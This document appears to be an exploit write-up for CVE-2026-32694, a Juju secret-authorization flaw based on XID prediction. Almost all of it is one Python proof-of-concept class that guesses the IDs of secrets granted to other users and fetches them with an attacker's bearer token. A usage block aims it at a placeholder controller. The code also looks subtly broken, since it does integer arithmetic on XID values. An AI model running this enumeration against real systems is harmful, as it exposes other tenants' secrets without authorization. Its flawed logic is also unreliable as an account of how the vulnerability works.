CVE-2026-32694: Juju Secret XID预测导致的越权访问漏洞

# CVE-2026-32694 PoC - Juju Secret XID Prediction Attack # This PoC demonstrates the XID prediction vulnerability in Juju secret授权机制 import requests import json from datetime import datetime class JujuSecretXIDAttack: def __init__(self, target_url, attacker_token): self.target_url = target_url self.attacker_token = attacker_token self.headers = { 'Authorization': f'Bearer {attacker_token}', 'Content-Type': 'application/json' } def get_attackable_secrets(self): """ Step 1: Get secrets currently accessible to the attacker (legitimate grantee) """ response = requests.get( f'{self.target_url}/secrets', headers=self.headers ) return response.json().get('secrets', []) def analyze_xid_pattern(self, secrets): """ Step 2: Analyze XID generation pattern from accessible secrets """ xid_pattern = [] for secret in secrets: xid = secret.get('xid') timestamp = secret.get('created') xid_pattern.append({ 'xid': xid, 'timestamp': timestamp }) return xid_pattern def predict_past_secrets(self, xid_pattern, secret_owner): """ Step 3: Predict XIDs of secrets granted to OTHER grantees by the same owner Based on the observation that XIDs are predictable and sequential """ predicted_xids = [] for pattern in xid_pattern: base_xid = pattern['xid'] # Predict XIDs that might belong to other grantees # XIDs are generated sequentially, so we can predict past XIDs for offset in range(1, 100): # Check past 100 XIDs predicted_xid = base_xid - offset predicted_xids.append({ 'xid': predicted_xid, 'offset': offset, 'owner': secret_owner }) return predicted_xids def attempt_unauthorized_access(self, predicted_xids): """ Step 4: Attempt to access secrets using predicted XIDs """ exploited_secrets = [] for pred in predicted_xids: response = requests.get( f'{self.target_url}/secrets/{pred["xid"]}', headers=self.headers ) if response.status_code == 200: secret_data = response.json() exploited_secrets.append({ 'xid': pred['xid'], 'data': secret_data, 'resource': secret_data.get('resource_uri') }) return exploited_secrets def exploit(self, secret_owner): """ Main exploitation function """ print(f"[*] Starting CVE-2026-32694 exploitation on {self.target_url}") # Step 1: Get accessible secrets secrets = self.get_attackable_secrets() print(f"[*] Found {len(secrets)} accessible secrets") # Step 2: Analyze XID pattern xid_pattern = self.analyze_xid_pattern(secrets) print(f"[*] Analyzed {len(xid_pattern)} XID patterns") # Step 3: Predict past secrets predicted_xids = self.predict_past_secrets(xid_pattern, secret_owner) print(f"[*] Generated {len(predicted_xids)} predicted XIDs") # Step 4: Attempt unauthorized access exploited = self.attempt_unauthorized_access(predicted_xids) print(f"[!] Successfully exploited {len(exploited)} unauthorized secrets") return exploited # Usage example if __name__ == "__main__": target = "https://juju-controller.example.com:17070" attacker_token = "attacker_juju_token" exploit = JujuSecretXIDAttack(target, attacker_token) results = exploit.exploit(secret_owner="[email protected]") if results: print("\n[+] Exploitation successful - Unauthorized secrets accessed:") for result in results: print(f" XID: {result['xid']}, Resource: {result['resource']}")